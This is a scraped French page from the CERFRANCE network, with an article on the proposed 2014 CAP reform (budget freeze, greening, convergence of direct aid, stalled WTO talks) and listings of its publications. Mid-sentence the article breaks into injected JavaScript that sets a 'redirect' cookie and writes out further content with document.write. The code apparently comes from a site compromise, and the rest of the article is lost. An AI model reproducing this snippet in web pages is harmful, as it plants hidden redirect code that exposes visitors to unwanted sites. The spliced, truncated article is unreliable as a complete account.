Colloque crise financière : la position de l’Allemagne par Jacques Mathé, économiste au CERFRANCE Poitou-Charentes.
Catégorie : Politiques publiques
Les conséquences fiscales de la disparité des structures économiques d’une même entité par Philippe Boullet
Les conséquences fiscales de la disparité des structures économiques d’une même entité par Philippe Boullet, Directeur de l’offre et des compétences au Conseil National CERFRANCE.
Y aura-t-il un accord à l’OMC en 2012 ? par Alain Le Boulanger
Y aura-t-il un accord à l’OMC en 2012 ? par Alain Le Boulanger, Directeur régional économique.
Adapter la fiscalité en vue d’une constitution de réserve par Philippe Boullet
Adapter la fiscalité en vue d’une constitution de réserve par Philippe Boullet, Directeur du développement au Conseil National CERFRANCE.
Horizons agricoles : La Corrèze et le Zambèze
La PAC 2014 au cœur des crises
Crise alimentaire, crise agricole, crise environnementale, crise financière : c’est à ces crises successives impactant l’agriculture auxquelles la PAC 2014 tente de répondre (volatilité des marchés agricoles, sécurité alimentaire, légitimité des aides). Mais élaboré depuis plus de 18 mois, autant dire un siècle, le projet présenté en octobre dernier n’a pas pu intégrer la plus graves d’entre elles : la crise de l’Euro dont personne ne sait aujourd’hui jusqu’où elle conduira ou ne conduira pas l’Europe.
Du changement et peu de surprises
A la différence des précédentes réformes (Quotas laitiers en 1984, réforme de 1992 ou découplage des aides en 2003) qui entretenaient un certain suspens la présentation des propositions législatives de la PAC 2014 par Dacian CIOLOS fait exception.
Plusieurs raisons à cela :, le Parlement Européen devenu co-décisionnaire sur la PAC depuis l’application du traité de Lisbonne avait pris l’initiative sur l’orientation des débats. De son côté, la commission avait préparé terrain en novembre 2010 en bâtissant son projet autour de trois scénarios dont deux jugés inefficaces par elle-même. Enfin et surtout, les propositions de la Commission sur le cadre financier 2014-2020 annoncées fin juin 2011 ont eu la primauté sur les propositions de la PAC 2014.
Le budget de la PAC est ainsi gelé sur la période 2014-2020, ce qui inflation oblige se traduira bien par une baisse en terme réel des moyens alloués à l’agriculture.
Quel sens donner à cette réforme de la PAC 2014 ?
En synthèse les propositions de la PAC 2014 se traduisent par un nouvel élan pour l’environnement via le verdissement obligatoire des aides à hauteur de 30% du paiement de base. Applicable pour l’ensemble des aides du 1er pilier, la commission a préféré un territoire européen vert pâle plutôt que quelques zones clairsemées en vert foncé ;
L’autre sujet majeur consistait à entamer le processus de convergence des aides directes entre les Etats-Membres. Redoutée par les Etats-Membres historiques (UE à 15) cette convergence des aides apparaît au final relativement timide sur cet exercice budgétaire 2014-2020.
En revanche, la convergence au sein des Etats-Membre est rendue obligatoire d’ici 2020. Cette transition sera particulièrement sensible en France qui est restée accrochée à ses références « pré »historiques, si ce n’est le premier pas impulsé par Michel BARNIER lors du bilan de santé.
Cette convergence nationale (ou régionale) ne manquera pas de voir s’affronter d’une part les filières agricoles et d’autre part les territoires, tant les écarts peuvent être importants. Si les céréaliers ont encore un bout de chemin à parcourir pour s’approcher de la moyenne nationale, certains systèmes pourraient être davantage affectés soit de part leur haut niveau de DPU (le système « lait intensif +taurillons » peut atteindre 550 €/ha) soit par la contrainte du verdissement lié à la diversité des cultures (Système maïs irrigué).
D’autres mesures dont certaines facultatives sont venues enrichir le dispositif : une bonification de 25% des aides pour les jeunes agriculteurs, la possibilité de dégager 5% des soutiens pour les zones à handicaps naturels, de même que 5% pour le soutien couplé de filières agricoles sensibles.
La conjugaison des crises au pluriel a aussi entamé l’orthodoxie libérale de la Commission. Qu’il s’agisse du maintien des outils d’intervention, de la possibilité de coupler jusqu’à 5% des aides directes, d’adoucissement des règles du droit de la concurrence (organisation des producteurs, interprofession), la PAC 2014, sans revenir en arrière, marque un arrêt dans le « démantèlement » des outils de protection.
Contrairement aux réformes passées (depuis 92 jusqu’en 2003), il n’est pas question de baisse de droits de douanes, de baisse de prix d’intervention, de réduction des capacités de stockage, de poursuite du découplage des aides etc. Ce revirement est aussi le fruit de l’absence d’avancées dans les négociations à l’OMC ; Le cycle de DOHA est dans un coma profond et il est fort probable qu’une future réforme de la PAC sera à négocier d’ici la mise en œuvre d’un nouvel accord à Genève.
Et si on ne pouvait plus financer la PAC à ce niveau ?
Cette proposition de PAC 2014 va désormais être traditionnellement débattue, amendée, et critiquée de toute part Mais au-delà de ces négociations, certains pointent déjà son caractère périmé. Ainsi Stéphane LE FOLL , député européen et probablement l’un des plus fins connaisseurs du dossier PAC en France, appelait dès la if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘
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L’ agriculture: un sujet politique mondial par Philippe Boullet, Directeur de l’Offre et des Compétences au Conseil National CERFRANCE
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Un paradoxe de l’agriculture française
Analyse d’une situation paradoxale de l’agriculture française par Jean-Marie Séronie, Directeur Général CERFRANCE Manche
Les cahiers CERFRANCE
Pour toute demande de cahiers en quantité (+ de 10 exemplaires), veuillez prendre contact avec le Conseil National du réseau CERFRANCE : 01 56 54 28 28
- Le cahier « Les voies juridiques vers l’entreprise agricole flexible »
Dans ce cahier, nous livrons 8 propositions de modernisation du cadre juridique d’exercice de l’activité agricole afin de favoriser l’initiative économique en agriculture. Ces propositions s’articulent autour des trois objectifs économiques : Développer la diversification de son entreprise ; Conduire des collaborations ; Faire reconnaître la valeur économique de son entreprise. Nos 8 propositions, fruit de l’expertise de nos économistes et de nos juristes constituent une contribution à un débat que nous considérons comme important pour l’avenir de l’agriculture française.
Pour télécharger la présentation du cahier, cliquez ici.
Pour télécharger le cahier « Les voies juridiques vers l’entreprise agricole flexible », cliquez ici.
- Le cahier « Vers une fiscalité agricole dynamique »
Aujourd’hui, la fiscalité agricole française n’est plus en phase avec les exigences d’une gestion efficace et dynamique de l’entreprise agricole, notamment à cause de la volatilité des cours et de l’exigence d’adaptation aux marchés.
Face à ce constat, un groupe d’experts économistes et fiscalistes de CERFRANCE, réseau indépendant de conseil et d’expertise comptable, a mené une réflexion pour une modernisation de la fiscalité agricole.
Pour télécharger le cahier « Vers une fiscalité agricole dynamique », cliquez ici.
- Le cahier « BioLogique de marché »
Le développement de l’offre en produits Bio et l’émergence d’une image positive chez les consommateurs ont permis au secteur Bio de sortir d’une logique de niche pour entrer dans la segmentation des marchés alimentaires. Mais la France, qui a été pionnière pendant les premières années de développement de l’Agriculture Biologique (AB), est aujourd’hui nettement en retrait par rapport à d’autres pays malgré le fort développement de son marché depuis 5 ans. Quelles peuvent être les raisons de ce constat ? Les réponses se situent au niveau de la consommation (qui était faible en France avant 2005) mais surtout au niveau des producteurs : quelles sont les marges de manœuvres pour un agriculteur qui se convertit au mode de production « Biologique » ?
Pour télécharger le cahier « BioLogique de marché », cliquez ici.
- Le cahier « AOP / IGP une rente de territoire à saisir ? »
Le cahier « AOP / IGP une rente de territoire à saisir ? » propose une grille d’analyse sur la construction, la valeur et la pérennité de la rente de territoire apportées par les Signes Officiels de Qualité (SOQ). Est-il aujourd’hui pertinent d’afficher un lien entre produit et territoire ? Quels sont les facteurs susceptibles de faire évoluer cette rente de territoire pour ces marchés ? Cette réflexion identifie aussi les marges de manoeuvre de chaque agriculteur produisant sous SOQ, et aussi à l’échelle collective, dans le cadre de la gestion de l’Appellation.
Pour télécharger le cahier « AOP / IGP une rente de territoire à saisir ? », cliquez ici.
- Le cahier L’exploitation agricole flexible »
Le contexte agricole change profondément depuis quelques années et génère de nouvelles pratiques pour les agriculteurs. Peu à peu ce changement profond s’accompagne d’outils nouveaux. Derrière ces évolutions se dessine sans doute progressivement un nouveau regard sur l’exploitation agricole, un nouveau paradigme.
Pour télécharger le cahier « L’exploitation agricole flexible », <\/script>‘)}
Le paradoxe agricole français
D’où vient cette situation paradoxale ?
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